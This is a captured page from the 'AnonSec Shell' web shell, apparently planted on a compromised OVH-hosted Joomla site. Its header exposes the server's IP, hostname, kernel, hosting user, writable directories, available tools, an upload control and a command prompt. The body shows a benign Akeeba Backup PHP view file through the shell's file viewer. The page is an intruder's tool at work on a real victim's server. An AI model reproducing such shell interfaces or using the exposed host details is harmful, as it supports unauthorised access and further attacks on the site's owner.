AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/visitevirtuelle/administrator/components/com_akeeba/views/postsetup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/visitevirtuelle/administrator/components/com_akeeba/views/postsetup/view.html.php
<?php
/**
 * @package   AkeebaBackup
 * @copyright Copyright (c)2009-2014 Nicholas K. Dionysopoulos
 * @license   GNU General Public License version 3, or later
 * @since     3.3.b1
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

/**
 * MVC View for Profiles management
 *
 */
class AkeebaViewPostsetup extends F0FViewHtml
{
	public function onBrowse($tpl = null)
	{
		$this->_setSRPStatus();
		$this->_setBackuponupdateStatus();
		$this->_setConfWizStatus();
		$this->showsrp = $this->isMySQL();

		return true;
	}

	private function _setBackuponupdateStatus()
	{
		$db = JFactory::getDBO();

		$query = $db->getQuery(true)
			->select($db->qn('enabled'))
			->from($db->qn('#__extensions'))
			->where($db->qn('element') . ' = ' . $db->q('backuponupdate'))
			->where($db->qn('folder') . ' = ' . $db->q('system'));
		$db->setQuery($query);
		$enabledBOU = $db->loadResult();

		if (!AKEEBA_PRO)
		{
			$enabledBOU = false;
		}

		$this->enablebackuponupdate = $enabledBOU;
	}

	private function _setSRPStatus()
	{
		if ($this->_setConfWizStatus())
		{
			$this->enablesrp = $this->isMySQL();

			return;
		}

		$db = JFactory::getDBO();

		$query = $db->getQuery(true)
			->select($db->qn('enabled'))
			->from($db->qn('#__extensions'))
			->where($db->qn('element') . ' = ' . $db->q('srp'))
			->where($db->qn('folder') . ' = ' . $db->q('system'));
		$db->setQuery($query);
		$enableSRP = $db->loadResult();

		if (!AKEEBA_PRO)
		{
			$enableSRP = false;
		}
		if (!$this->isMySQL())
		{
			$enableSRP = false;

			return;
		}

		$this->enablesrp = $enableSRP ? true : false;
	}

	private function _setConfWizStatus()
	{
		static $enableconfwiz;

		$component = JComponentHelper::getComponent('com_akeeba');
		if (is_object($component->params) && ($component->params instanceof JRegistry))
		{
			$params = $component->params;
		}
		else
		{
			$params = new JParameter($component->params);
		}

		if (empty($enableconfwiz))
		{
			$lv = $params->get('lastversion', '');

			$enableconfwiz = empty($lv);
		}

		$minStability = $params->get('minstability', 'stable');
		$acceptlicense = $params->get('acceptlicense', '0');
		$acceptsupport = $params->get('acceptsupport', '0');
		$acceptbackuptest = $params->get('acceptbackuptest', '0');
		$angieupgrade = $params->get('angieupgrade', '0');

		$this->enableconfwiz = $enableconfwiz;
		$this->minstability = $minStability;
		$this->acceptlicense = $acceptlicense;
		$this->acceptsupport = $acceptsupport;
		$this->acceptbackuptest = $acceptbackuptest;
		$this->showangieupgrade = ($angieupgrade == 0);

		return $enableconfwiz;
	}

	private function isMySQL()
	{
		$db = JFactory::getDbo();

		return strtolower(substr($db->name, 0, 5)) == 'mysql';
	}
}

Anon7 - 2022
AnonSec Team